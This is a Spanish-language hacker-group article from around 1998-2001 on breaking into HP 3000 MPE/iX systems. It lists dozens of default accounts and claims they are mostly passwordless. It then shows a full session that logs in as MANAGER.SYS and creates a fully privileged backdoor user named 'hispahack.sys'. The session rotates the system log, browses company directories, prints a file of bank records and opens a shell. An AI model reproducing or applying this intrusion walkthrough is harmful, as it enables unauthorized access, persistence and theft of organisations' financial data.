HP 3000 MPE
Introducción Básica
Por Dr.Lethan
El HP 3000 está en una gama media de ordenadores, Hewlett-Packard saco la primera versión al mercado en el año 1972, y en los años 90 continua vendiendose. Los HP 3000 trabajan con el sistema operativo MPE, del que existen variantes.

MPE Multi-Programming Executive. Es un sistema operativo multiusuario que Hewlett-Packard creo a principios del 70 para su gama de ordenadores HP 3000 y que todavía sigue fuerte. La ultima versión de MPE para el HP 3000 se llama MPE V. La primera versión para ordenadores con arquitectura RISC era conocida como MPE/XL y aunque las diferencias del hardware eran considerables, esta era en un 99.9% compatible con MPE V.

MPE/iX, Multiprogramming Executive with Integrated POSIX, es el ultimo de una avanzada serie de sistemas operativos para la linea de ordenadores HP 3000. Incluye un sistema de ficheros jerárquico y soporta llamadas de funciones en UNIX (MPE ahora cumple con POSIX). Los programadores pueden portar tanto aplicaciones, como paquetes enteros de UNIX al MPE y esto sin duda es una gran ventaja.

Muchas empresas, instituciones usan este sistema de HP, y ya que es bastante frecuente encontrarse con alguno de ellos explicaremos de forma muy sencilla como acceder y recopilar un poco de información del sistema.

Comandos a tener en cuenta (para nuestro propósito):

PRINT ------------> Nos muestra el contenido de un fichero.
HELP -------------> La ayuda.
LISTUSER -------> Nos muestra información de un usuario especificado.
NEWUSER ------> Crea un nuevo usuario.
SHOWJOB ------> Nos muestra información sobre los trabajos y sesiones activas..
SHOWLOG ----->  Nos muestra el estado del log del sistema.
SWITCHLOG ---> Cierra el actual log del sistema, y crea uno nuevo.
LISTFILE --------> Nos lista archivos del sistema (dir, ls).

Cuentas por defecto del sistema:

En las versiones posteriores a la 4.5, MPE/iX identifica a cada usuario con una identificación de usuario única (UID) más una identificación del grupo (GID), la cual puede ser compartida por varios usuarios. Estas identificaciones están separadas por un punto.

user.account
Los datos asociados al usuario se almacenan en bases de datos separadas del grupo, lo que significa que en el MPE/iX los usuarios con los permisos apropiados de seguridad, pueden moverse fuera de los limites de su cuenta. Los usuarios incluidos dentro de un mismo grupo pueden estar permitidos a moverse por diferentes directorios dentro del sistema jerárquico de ficheros.

Las siguientes cuentas de usuario son algunas de las cuentas que usaremos para acceder al sistema ya que, en un 90% de los casos no usan password. Intentaremos acceder al sistema con cuentas que tengan la capacidad (privilegio) de OP (Supervisor del Sistema) o en su defecto privilegio SM de Controlador del Sistema, si no fuera posible, tendremos que contentarnos con entrar al sistema y recopilar información del usuario en cuestión, e intentar acceder a ficheros del grupo de dicho usuario.

    Usuario                                                       Capacidades del usuario. (Privilegios)

MANAGER.SYS       SM,AM,AL,GL,DI,OP,CV,UV,LG,PS,NA,NM,CS,ND,SF,BA,IA,PM,MR,DS,PH
OPERATOR.SYS      SM,AM,AL,GL,DI,OP,CV,UV,LG,PS,NA,NM,CS,ND,SF,BA,IA,PM,MR,DS,PH
MGR.SYS                 SM,AM,AL,GL,DI,OP,CV,UV,LG,PS,NA,NM,CS,ND,SF,BA,IA,PM,MR,DS,PH
MGR.TELESUP         SM,AM,AL,GL,DI,OP,CV,UV,LG,PS,NA,NM,CS,ND,SF,BA,IA,PM,MR,DS,PH
MGR.SYSMGR         AM,AL,GL,OP,ND,SF,BA,IA,PM,PH
MGR.NETWARE      AM,AL,GL,OP,UV,NM,ND,SF,BA,IA
MGR.SNADS            AM,AL,GL,DI,OP,CV,UV,LG,NM,CS,ND,SF,BA,IA,PM,MR,DS,PH
ADMI1.SYS              NM,CS,ND,SF,BA,IA,PM,MR,DS,PH
FIELD.SYS                ND,SF,BA,IA
FTP.SYS                    NA,NM,BA,IA,PH
HPUPDATE.SYS      SM,AM,AL,GL,DI,CV,UV,LG,PS,NA,NM,CS,ND,SF,BA,IA,PM,MR,DS,PH
NWIXUSER.SYS
PCUSER.SYS
MGR.VENTAS    ....para obtener las capacidades de usuario, usaremos el comando LISTUSER USER.
SCOPE.SYS
MANAGER.RJE
FIELD.TELESUP
MGR.CONTA
OPERATOR.NETWARE
MGR.PROG
ADVMAIL.HPOFFICE
MGR.HPDESK
MGR.ROBLLE
MGR.VESOFT
MGR.WORD
MGR.INTX3
MGR.CAROLIAN
MGR.XLSERVER
MGR.CONV
MGR.HPP187
MGR.HPP189
MGR.HPP189
MGR.HPP196
MGR.HPOFFICE ....para obtener las capacidades de usuario, usaremos el comando LISTUSER USER.
MGR.CCC
MGR.ITF3000
MGR.SECURITY
MGR.HPWORD
MGR.COGNOS
MGR.HPONLY
MGR.NETBASE
MGR.CNAS
MGR.REGO
MAIL.NETBASE
MAIL.MAIL
MAIL.TELESUP
MAIL.HPOFFICE
MAILMAN.HPOFFICE
OPERATOR.SUPPORT
OPERATOR.COGNOS
OPERATOR.SYSTEM
OPERATOR.DISC
FIELD.HP
FIELD.HPUNSUP
FIELD.HPWORD
MANAGER.COGNOS
MANAGER.HPOFFICE
MANAGER.ITF3000
MANAGER.SECURITY
MANAGER.TCH
SYS.TELESP
WP.HPOFFICE
SPOOLMAN.HPOFFICE
RSBCMON.SYS

Capacidades de los Usuarios (Privilegios):
 
 

SM System Manager AM Account Manager AL Account Librarian
GL Group Librarian DI Diagnostician OP System Supervisor
NA Network Administrator NM Node Manager SF Permanent Files
ND Access to I/O devices UV Use Volumes  CV Create Volumes
CS Use Communications Subsystem PS Programmatic Sessions LG User Logging
PH Process Handling DS Extra Data Segments MR Multiple RINs
PM Privilaged mode IA Interactive Access BA Local Batch Access

 

 Accediendo a un HP3000:

Dialing... ??-????-???
CARRIER 9600

PROTOCOL: LAP-M

COMPRESSION: NONE

CONNECT 57600/ARQ

MPE/iX:

* Ahora nos identificamos con el comando hello user.acct.

MPE/iX: hello manager.sys
HP3000  Release: C.50.00   User Version: C.50.00   SUN, AUG 30, 1998,  3:25 PM
MPE/iX  HP31900 B.79.06  Copyright Hewlett-Packard 1987.  All rights reserved.
MANAGER.SYS,PUB/HP3000>

*Ahora, antes de todo, observaremos si hay alguna otra sesión abierta con el comando showjob.

MANAGER.SYS,PUB/HP3000>showjob
JOBNUM  STATE IPRI JIN  JLIST    INTRODUCED  JOB NAME
#S10134    EXEC            21   21         SUN  3:25P  MANAGER.SYS
1 JOBS:
    0 INTRO
    0 WAIT; INCL 0 DEFERRED
    1 EXEC; INCL 3 SESSIONS
    0 SUSP
JOBFENCE= 1; JLIMIT= 20; SLIMIT= 20

*Ahora crearemos un nuevo usuario para asegurarnos el acceso al sistema.

MANAGER.SYS,PUB/HP3000>newuser hispahack.sys;CAP=SM,AM,AL,GL,DI,OP,CV,UV,LG,PS,
NA,NM,S,ND,SF,BA,IA,PM,MR,DS,PH;HOME=PUB

*Ahora con el comando listuser, vemos que efectivamente se ha creado el usuario con los privilegios más destacados del sistema.

MANAGER.SYS,PUB/HP3000>listuser hispahack.sys
********************
USER: HISPAHACK.SYS
HOME GROUP: PUB                 PASSWORD: **
MAX PRI   : 150                 LOC ATTR: $00000000
LOGON CNT : 1
CAP: SM,AM,AL,GL,DI,OP,CV,UV,LG,PS,NA,NM,CS,ND,SF,BA,IA,PM,MR,DS,PH

*Ahora miraremos el estado del log del sistema con el comando showlog.

MANAGER.SYS,PUB/HP3000>showlog
SYSTEM LOG FILE #55 IS 65% FULL

*Y cerraremos el log del sistema actual, creando uno nuevo con la orden switchlog.

MANAGER.SYS,PUB/HP3000>switchlog
SYSTEM LOG FILE #55 IS 65% FULL

*Con el comando showlog observaremos si se ha creado de nuevo el log del sistema.

MANAGER.SYS,PUB/HP3000>showlog
SYSTEM LOG FILE #56 IS 0% FULL

*Una vez llegados a este punto, vamos a dar una vuelta por el sistema, usaremos el comando listfile.

MANAGER.SYS,PUB/HP3000>listfile /@ (Esto nos muestra un listado del directorio raiz)
 PATH= /

COMPRAS/          CONTA/           COSTES/
DATOS/                NETWARE/       NOMINA/
RJE/                       SYS/                  SYSMGR/
VENTAS/              VIAJES/             bin/
 dev/              etc/               lib/           opt/
 tmp/              usr/
 var/

*Ahora vamos a listar el directorio DATOS.

MANAGER.SYS,PUB/HP3000>LISTFILE /DATOS/@
 PATH= /DATOS/

 DATA/     PUB/

*Bueno, vamos a mirar que contiene el directorio DATA.

MANAGER.SYS,PUB/HP3000> LISTFILE /DATOS/DATA/@
 PATH= /DATOS/DATA/
 ALBARAN   ANUARIO CLIENTES MAEBANC

*mmM, El fichero MAEBANC suena bien, vamos a visualizar su contenido con la orden PRINT.

MANAGER.SYS,PUB/HP3000>PRINT /DATOS/DATA/MAEBANC
  1     B070050763299000000000000000000000000BANCO BILBAO VIZCAYA
  AVDA. DE LA CONCHA 1324           MADRID                   34985678200430054
  .
  .
  ....etc.

*En el directorio de DATOS/ suele haber información interesante, existen otros directorios también muy interesantes, simplemente es cuestión de paciencia, ya que la información se consigue facilmente.

*Ahora  con el comando exit, damos por terminada esta vueltecita por un HP3000.

MANAGER.SYS,PUB/HP3000>exit
CPU=3. Connect=1. SUN, AUG 30, 1998,  3:12 PM.
 

*** Una forma más sencilla para navegar por el sistema es abrir una shell ya que la compatibilidad con POSIX nos permite usar comandos de UNIX. Para abrir una shell usaremos el comando XEQ /bin/sh, el comando XEQ ejecuta cualquier programa o comando y previene cualquier confusión cuando el nombre del programa o comando que ejecutamos es idéntico a algún comando del sistema MPE/iX o a algún nombre de comando UDC. (Modo Nativo)

* Abriendo una shell.

MANAGER.SYS,PUB/HP3000>xeq /bin/sh
$

* Ahora podemos navegar por el sistema usando comandos UNIX.

$ ls -l DA*
dr-xr-xr-x   1 MANAGER.SYS       DATOS       32988  Jun  4  2000 DATOS

$ who
OPERATOR.SYS                 ldev19       WED  12:05P
MANAGER.SYS                  ldev20       THU   13:53A

* Como veis podemos usar comandos UNIX (cat, ls, who, id, mkdir....etc), para salir de la shell tecleamos exit y para salir del sistema otra vez ejecutamos exit.


Este articulo es una mera introducción al sistema HP3000, pero suficientemente concreto para obtener información del mismo y ya que el sistema no es sencillo tampoco hemos querido extendernos más.

Para más informacion sobre comandos en MPE/iX:

MPE/iX Commands Reference Manual

Para más informacion sobre comandos en la SHELL:

MPE/iX Shell and Utilities Reference Manual, Vol 1
MPE/iX Shell and Utilities Reference Manual, Vol 2
 

Dr.Lethan

 
 
 (C) 1997-2001 by !Hispahack 
                Para ver el web en las mejores condiciones, usa una resolución de 800x600 y Netscape Navigator